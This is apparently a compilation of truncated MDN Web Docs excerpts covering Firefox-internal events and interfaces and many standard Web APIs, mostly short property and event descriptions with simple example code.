... this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollareachanged", function( event ) { console.log("the new scroll area is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernam...
mozbrowsertitlechange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsertitlechange event is fired when the title of a browser <iframe> (i.e.
... the contents of the <title> element) changes.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsertitlechange", function( event ) { console.log("the title of the document is:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowserusernameandpasswordrequired ...
mozbrowservisibilitychange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowservisibilitychange event is fired when the visibility state of the current browser iframe <iframe> changes, for example due to a call to setvisible().
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowservisibilitychange", function( event ) { if(event.details.visible) { console.log("the browser is visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mo...
...zbrowsertitlechange ...
MozScrolledAreaChanged
the mozscrolledareachanged event is fired when the document view has been scrolled or resized.
... note: while you can poll the values of document.scrollwidth and document.scrollheight to watch for changes to the document size, reading these properties can trigger document reflow, which can make them computationally expensive.
... this event, introduced in gecko 1.9.2, is fired whenever either or both of these values change.
... example document.addeventlistener("mozscrolledareachanged", event => { // find something useful to do with those values event.width; event.height; event.x; event.y; }, false); ...
UpdateCheckListener
updatechecklisteners are passed the results of update checks performed by the addonupdatechecker.
... method overview void onupdatecheckcomplete(in updateinfo results[]) void onupdatecheckerror(in integer status) methods onupdatecheckcomplete() called when the update check completed successfully.
... void onupdatecheckcomplete( in updateinfo results[] ) parameters results an array of updateinfo objects representing the available add-on versions onupdatecheckerror() called when the update check fails.
... void onupdatecheckerror( in integer status ) parameters status a value representing the type of failure; see the range of possible values.
nss tech note2
using the pkcs #11 module logger nss technical note: 2 modes of operation extracting output from log files the logger displays all activity between nss and a specified pkcs #11 module.
...pinitargs = 0x4010c938 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getinfo 1024[805ef10]: pinfo = 0xbffff340 1024[805ef10]: rv = 0x0 1024[805ef10]: c_getslotlist 1024[805ef10]: tokenpresent = 0x0 1024[805ef10]: pslotlist = 0x0 1024[805ef10]: pulcount = 0xbffff33c 1024[805ef10]: *pulcount = 0x2 1024[805ef10]: rv = 0x0 note that when a pkcs #11 function takes a pointer argument for which it will set a value (c_getslotlist above), this mode will display the value upon return.
...the number of calls to each pkcs #11 function will be counted, and the time spent in each function as well.
...if the environment variable nss_output_file is set, its value will be used as the path name of the file to which the final output will be written.
JS_GetInternedStringChars
this article covers features introduced in spidermonkey 1.8.5 get the chars of an interned string.
... syntax const jschar * js_getinternedstringchars(jsstring *str); const jschar * js_getinternedstringcharsandlength(jsstring *str, size_t *length); name type description str jsstring * the interned string.
... description js_getinternedstringchars returns a pointer to the interned string.
... js_getinternedstringcharsandlength returns a pointer to the interned string and stores the length of it to *length.
JS_GetStringCharsAndLength
this article covers features introduced in spidermonkey 1.8.5 get the characters and the length of a string.
... syntax const jschar * js_getstringcharsandlength(jscontext *cx, jsstring *str, size_t *length); name type description cx jscontext * the context.
... str jsstring * a string to get characters.
... description js_getstringcharsandlength gets the characters and the length of the string, str if successful, js_getstringcharsandlength returns a pointer to the string, and store the length to *length, otherwise returns null see also bug 1037869 ...
Children
« nsiaccessible page summary array of all this node's children.
... attribute nsiarray children; remark every child node in the array implements nsiaccessible interface.
... exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.previoussibling ...
nsIFTPChannel
the nsiftpchannel is an extension of nsisupports used to determine if a channel is an ftp channel, and offering additional information about the ftp channel.
... you can determine if a channel is an ftp channel by checking to see if it implements this interface, by calling nsisupports.queryinterface() on it.
... netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports attributes attribute type description lastmodifiedtime prtime the time at which the ftp channel was last updated.
nsIWebBrowserChromeFocus
embedding/browser/webbrowser/nsiwebbrowserchromefocus.idlscriptable implemented by the same object as nsiembeddingsitewindow.
... it represents the focus up-calls from mozilla to the embedding chrome.
... inherits from: nsisupports last changed in gecko 1.7 method overview void focusnextelement(); void focusprevelement(); methods focusnextelement() set the focus at the next focusable element in the chrome.
...focusprevelement() set the focus at the previous focusable element in the chrome.
Cache Storage - Firefox Developer Tools
under the cache storage type within the storage inspector you can see the contents of any dom caches created using the cache api.
... if you select a cache, you'll see a list of the resources it contains.
... for each resource, you'll see: the url for the resource.
... the status code for the request that was made to fetch it.
Rich output - Firefox Developer Tools
when the web console prints objects, it includes a richer set of information than just the object's name.
... in particular, it: provides extra information for certain types enables detailed examination of the object's properties provides richer information for dom elements, and enables you to select them in the inspector type-specific rich output the web console provides rich output for many object types, including the following: object array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded.
...the output will look something like this: console.log(todolist) array(4) [ {…}, {…}, {…}, {…} ] debugger eval code:1:9 undefined if you expand objects, such as arrays, you get slightly different content.
...: "to do", description: "normalize table", datecreated: 1552404533790 } ​ length: 4 ​ <prototype>: array [] debugger eval code:1:9 undefined highlighting and inspecting dom nodes if you hover the mouse over any dom element in the console output, it's highlighted on the page: in the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the inspector with that node selected.
AudioBuffer.numberOfChannels - Web APIs
the numberofchannels property of the audiobuffer interface returns an integer representing the number of discrete audio channels described by the pcm data stored in the buffer.
... syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); myarraybuffer.numberofchannels; value an integer.
... example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification ...
... specification status comment web audio apithe definition of 'numberofchannels' in that specification.
AudioScheduledSourceNode.onended - Web APIs
the onended event handler for the audioscheduledsourcenode interface specifies an eventhandler to be executed when the ended event occurs on the node.
... this event is sent to the node when the concrete interface (such as audiobuffersourcenode, oscillatornode, or constantsourcenode) determines that it has stopped playing.
... syntax audioscheduledsourcenode.onended = eventhandler; value a function which is called by the browser when the ended event occurs on the audioscheduledsourcenode.
... the function receives as input a single parameter, which is an object of type event describing the event that occurred.
AudioScheduledSourceNode.start() - Web APIs
the start() method on audioscheduledsourcenode schedules a sound to begin playback at the specified time.
... syntax audioscheduledsourcenode.start([when [, offset [, duration]]]); parameters when optional the time, in seconds, at which the sound should begin to play.
... example this example demonstrates how to create an oscillatornode which is scheduled to start playing in 2 seconds and stop playing 1 second after that.
... context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification.
BaseAudioContext.onstatechange - Web APIs
the onstatechange property of the baseaudiocontext interface defines an event handler function to be called when the statechange event fires: this occurs when the audio context's state changes.
... syntax baseaudiocontext.onstatechange = function() { ...
... }; example the following snippet is taken from our audiocontext states demo (see it running live.) the onstatechange hander is used to log the current state to the console every time it changes.
... audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'onstatechange' in that specification.
BatteryManager.chargingTime - Web APIs
indicates the amount of time, in seconds, that remain until the battery is fully charged.
... syntax var time = battery.chargingtime on return, time is the remaining time in seconds until the battery, which is a batterymanager object, is fully charged, or 0 if the battery is already fully charged.
... if the battery is currently discharging, this value is infinity.
... example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
indicates the amount of time, in seconds, that remains until the battery is fully discharged.
... syntax var time = battery.dischargingtime on return, time is the remaining time in seconds until the battery, which is a batterymanager object, is fully discharged and the system will suspend.
... this value is infinity if the battery is currently charging rather than discharging, or if the system is unable to report the remaining discharging time.
... example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
getCharacteristic() - Web APIs
the bluetoothgattservice.getcharacteristic() method returns a promise to an instance of bluetoothgattcharacteristic for a given universally unique identifier (uuid).
... syntax bluetoothgattserviceinstance.getcharacteristic(characteristic).then(function(bluetoothgattcharacteristic) { ...
... } ) returns a promise to an instance of bluetoothgattcharacteristic parameters characteristic the uuid of a characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic.
... specifications specification status comment web bluetooththe definition of 'getcharacteristic()' in that specification.
BroadcastChannel() - Web APIs
the broadcastchannel() constructor creates a new broadcastchannel and connects it to the underlying channel.
... syntax channel = new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin.
... example // create a new channel listening to the "internal_notification" channel.
... var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification.
BroadcastChannel.onmessage - Web APIs
the broadcastchannel.onmessage event handler is a property that specifies the function to execute when a message event, of type messageevent, is received by this broadcastchannel.
... such an event is sent by the browser with a message broadcasted to the channel.
... syntax channel.onmessage = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
...'${ev.data}'`); }; specifications specification status comment html living standardthe definition of 'broadcastchannel.onmessage' in that specification.
CSSUnparsedValue.forEach() - Web APIs
the cssunparsedvalue.foreach() method executes a provided function once for each element of the cssunparsedvalue.
... syntax cssunparsedvalue.foreach(function callback(currentvalue[, index[, array]]) { // your iterator }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the cssunparsedvalue that foreach() is being called on.
... specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
the childnode.remove() method removes the object from the tree it belongs to.
... syntax node.remove(); example using remove() <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <div id="div-03">here is div-03</div> var el = document.getelementbyid('div-02'); el.remove(); // removes the div with the 'div-02' id childnode.remove() is unscopable the remove() method is not scoped into the with statement.
... with(node) { remove(); } // referenceerror: remove is not defined polyfill you can polyfill the remove() method in internet explorer 9 and higher with the following code: // from:https://github.com/jserz/js_piece/blob/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.removechild(this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definitio...
...n of 'childnode.remove' in that specification.
Document.onfullscreenchange - Web APIs
the document interface's onfullscreenchange property is an event handler for the fullscreenchange event that is fired immediately before a document transitions into or out of full-screen mode.
... syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler which is invoked whenever the document receives a fullscreenchange event, indicating that the document is transitioning into or out of full-screen mode.
... usage notes the fullscreenchange event does not directly specify whether the transition is into or out of full-screen mode, so your event handler should look at the value of document.fullscreenelement.
... example document.onfullscreenchange = function ( event ) { console.log("full screen change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Document: visibilitychange event - Web APIs
the visibilitychange event is fired at the document when the content of its tab have become visible or have been hidden.
... bubbles yes cancelable no interface event event handler property onvisibilitychange usage notes the event doesn't include the document's updated visibility status, but you can get that information from the document's visibilitystate property.
... document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
...please contribute data for "api.document.visibilitychange" (depth: 1) to the mdn compatibility data repository.
FetchEvent.client - Web APIs
WebAPIFetchEventclient
the fetchevent.client read-only property returns the client that the current service worker is controlling.
... note: this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get().
... syntax var myclient = fetchevent.client; value a client object.
... example self.addeventlistener('fetch', function(event) { console.log(event.client); ​}); ...
FetchEvent.replacesClientId - Web APIs
the replacesclientid read-only property of the fetchevent interface is the id of the client that is being replaced during a page navigation.
... additionally, if the fetch isn't a navigation, replacesclientid will be an empty string.
... syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring.
... example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
FetchEvent.resultingClientId - Web APIs
the resultingclientid read-only property of the fetchevent interface is the id of the client that replaces the previous client during a page navigation.
... if the fetch request is a subresource request or the request's destination is report, resultingclientid will be an empty string.
... syntax var myresultingclientid = fetchevent.resultingclientid; value a domstring.
... example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
FontFace.stretch - Web APIs
WebAPIFontFacestretch
the stretch property of the fontface interface retrieves or sets how the font stretches.
... it is equivalent to the font-stretch descriptor.
... syntax var stretchdescriptor = fontface.stretch; fontface.stretch = stretchdescriptor; value a cssomstring containing a descriptor as it would be defined in a style sheet's @font-face rule.
... specifications specification status comment css font loading module level 3the definition of 'stretch' in that specification.
Force Touch events - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... force touch events are a proprietary, apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad.
... webkitmouseforcechanged this event is fired each time the amount of pressure changes.
... event properties the following property is known to be available on the webkitmouseforcewillbegin, mousedown, webkitmouseforcechanged, webkitmouseforcedown, webkitmouseforceup, mousemove, and mouseup event objects: mouseevent.webkitforce read only the amount of pressure currently being applied to the trackpad/touchscreen constants these constants are useful for determining the relative intensity of the pressure indicated by mouseevent.webkitforce: mouseevent.webkit_force_at_mouse_down read only minimum force necessary for a normal click mouseevent.webkit_force_at_force_mouse_down read only minimum force necessary for a force click specifications not part of any specification...
GlobalEventHandlers.oncuechange - Web APIs
the oncuechange property of the globaleventhandlers mixin is the eventhandler for processing cuechange events.
... the cuechange event fires when a texttrack has changed the currently displaying cues.
... syntax element.oncuechange = handlerfunction; var handlerfunction = element.oncuechange; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'oncuechange' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
the ondurationchange property of the globaleventhandlers mixin is the eventhandler for processing durationchange events.
... the durationchange event is fired when the duration attribute has been updated.
... syntax element.ondurationchange = handlerfunction; var handlerfunction = element.ondurationchange; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'ondurationchange' in that specification.
HTMLAnchorElement.rel - Web APIs
the htmlanchorelement.rel property reflects the rel attribute.
... syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
... syntax void canvas.mozfetchasstream(callback, type); parameters callback an nsiinputstreamcallback.
... examples save to disk with mozfetchasstream (chrome context only) this technique also converts it to ico, however it will not work in windows xp as winxp cannot convert from png to ico.
... alert('succesfully made'); } }; } var mfascallback = function(iconname) { return function(instream) { var file = fileutils.getfile('desk', [iconname + '.ico']); var outstream = fileutils.openfileoutputstream(file); cu.import('resource://gre/modules/netutil.jsm'); netutil.asynccopy(instream, outstream, netutilcallback()); } } canvas.mozfetchasstream(mfascallback('myicon'), 'image/vnd.microsoft.icon'); specifications not part of any specification.
HTMLMediaElement: durationchange event - Web APIs
the durationchange event is fired when the duration attribute has been updated.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.ondurationchange specification html5 media examples these examples add an event listener for the htmlmediaelement's durationchange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('durationchange', (event) => { console.log('not sure why, but the duration of the video has changed.'); }); using the ondurationchange event handler property: const video = document.queryselector('video'); video.ondurationchange = (event) => { console.log('not sure why, but the duration of the video has changed.'); }; specifications specification status html living standardthe definition of 'durationchange media event' in that specification.
... living standard html5the definition of 'durationchange media event' in that specification.
HTMLMediaElement: ratechange event - Web APIs
the ratechange event is fired when the playback rate has changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onratechange specification html5 media examples these examples add an event listener for the htmlmediaelement's ratechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ratechange', (event) => { console.log('the playback rate changed.'); }); using the onratechange event handler property: const video = document.queryselector('video'); video.onratechange = (event) => { console.log('the playback rate changed.'); }; specifications specification status html living standardthe definition of 'ratechange media event' in that specification.
... living standard html5the definition of 'ratechange media event' in that specification.
HTMLMediaElement: volumechange event - Web APIs
the volumechange event is fired when the volume has changed.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onvolumechange specification html5 media examples these examples add an event listener for the htmlmediaelement's volumechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('volumechange', (event) => { console.log('the volume changed.'); }); using the onvolumechange event handler property: const video = document.queryselector('video'); video.onvolumechange = (event) => { console.log('the volume changed.'); }; specifications specification status html living standardthe definition of 'volumechange media event' in that specification.
... living standard html5the definition of 'volumechange media event' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
the htmlselectelement.checkvalidity() method checks whether the element has any constraints and whether it satisfies them.
... syntax var result = selectelt.checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.checkvalidity()' in that specification.
... living standard no change since the latest snapshot, html5.
... html5the definition of 'htmlselectelement.checkvalidity()' in that specification.
IDBDatabase: versionchange event - Web APIs
the versionchange event is fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested.
... bubbles no cancelable no interface event event handler property onversionchange examples this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month',...
... 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of this database has changed'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.cr...
...eateindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversionchange = event => { console.log('the version of this database has changed'); }; }; ...
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion deprecatednon-standardchrome full support 12edge full support ≤18firefox full support 16 full support 16 full support 10prefixed prefixed implemented with the vendor prefix: mozie no support noopera no support nosafari no support nowebview android full suppo...
...rt yeschrome android full support 18firefox android full support 22opera android full support 22safari ios no support nosamsung internet android full support 1.0legend full support full support no support no supportnon-standard.
installChrome - Web APIs
installchrome installs new skin or locale packages in netscape 6 and mozilla.
... method of installtrigger object syntax int installchrome( type, url, name ) parameters the installchrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale.
... url url is a string containing a full or relative url to download name name is displayed in the dialog, but is also used to *select* the theme somust match exactly the name in the internal manifest.rdf file.
...description installchrome is a special method for installing new chrome in netscape 6 and mozilla.
KeyboardLayoutMap.forEach() - Web APIs
the foreach() method of the keyboardlayoutmap interface executes a provided function once for each element of the map.
... syntax keyboardlayoutmap.foreach(function callback(currentvalue[, index[, array]]) { //your iterator }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... array optional the keyboardlayoutmap that foreach() is being called on.
... specifications specification status comment keyboard mapthe definition of 'foreach()' in that specification.
MediaKeySession.onkeystatuseschange - Web APIs
the onkeystatuseschange property of the mediakeysession is an event handler, fired whenever a keystatuschange event ocurrs, denoting there has been a change in the keys or their statuses within a session.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onkeystatuseschange = function(keystatuschange) { ...
... } specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuseschange' in that specification.
MediaQueryList.matches - Web APIs
the matches read-only property of the mediaquerylist interface is a boolean that returns true if the document currently matches the media query list, or false if not.
... you can be notified when the value of matches changes by watching for the change event to be fired at the mediaquerylist.
... syntax var matches = <varm>mediaquerylist.matches; value a boolean which is true if the document currently matches the media query list; otherwise, it's false.
... examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryList.onchange - Web APIs
the onchange property of the mediaquerylist interface is an event handler property representing a function that is invoked when the change event fires, i.e when the status of media query support changes.
... the event object is a mediaquerylistevent instance, which is recognised as a medialistquery instance in older browsers, for backwards compatibility purposes.
... syntax mediaquerylist.onchange = function() { ...
... }; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
MerchantValidationEvent.methodName - Web APIs
the merchantvalidationevent property methodname is a read-only value which returns a string indicating the payment method identifier which represents the payment handler that requires merchant validation.
... syntax methodid = merchantvalidationevent.methodname; value a read-only domstring which uniquely identifies the payment handler which is requesting merchant validation.
... see merchant validation in payment processing concepts for more information on the process.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification.
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validationurl is a read-only string value providing the url from which to fetch the payment handler-specific data needed to validate the merchant.
... syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url from which to load payment handler specific data needed to complete the merchant verification process.
... see merchant validation in payment processing concepts for more information on the merchant validation process.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validationurl' in that specification.
NetworkInformation.onchange - Web APIs
the networkinformation.onchange event handler contains the code that is fired when connection information changes, and the change is received by the networkinformation object.
... syntax netinfo.onchange = function() { ...
...var type = navigator.connection.type; function changehandler(e) { // handle change of connection type here.
... } // register for event changes: navigator.connection.onchange = changehandler; // another way: navigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
NodeIterator.detach() - Web APIs
the nodeiterator.detach() method is a no-op, kept for backward compatibility only.
... originally, it detached the nodeiterator from the set over which it iterates, releasing any resources used by the set and setting the iterator's state to invalid.
... syntax nodeiterator.detach(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.detach(); // detaches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.detach' in that specification.
... living standard transformed in a no-op document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.detach' in that specification.
PermissionStatus.onchange - Web APIs
the onchange event handler of the permissionstatus interface is called whenever the permissionstatus.state property changes.
... syntax permissionstatus.onchange = function() { ...
... } permissionstatus.addeventlistener('change', function() { ...
... }) example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission state has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'onchange' in that specification.
RTCDTMFSender.ontonechange - Web APIs
the ontonechange property of the rtcdtmfsender interface is used to set the event handler for the tonechange event, which is sent to the rtcdtmfsender each time a tone begins or ends.
... the event handler receives as input a single parameter of type rtcdtmftonechangeevent, which describes the change.
... syntax rtcdtmfsender.ontonechange = tonechangehandlerfunction; value a function which is called when a tonechange event is sent to the rtcdtmfsender, indicating that a dtmf tone has either started playing, or if all tones have finished playing.
... example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification.
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
... bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property.
... examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
RTCDataChannel.maxPacketLifeTime - Web APIs
the read-only rtcdatachannel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data channel was created, or null.
... syntax var lifetime = adatachannel.maxpacketlifetime; value the number of milliseconds over which the browser may continue to attempt to transmit the message until it either succeeds or gives up.
... if not set when rtcpeerconnection.createdatachannel() was called to create the data channel, this value is null.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification.
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data channel was created, or null, which indicates that there is no maximum.
... this can only be set when the rtcdatachannel is created by calling rtcpeerconnection.createdatachannel(), using the maxretransmits field in the specified options.
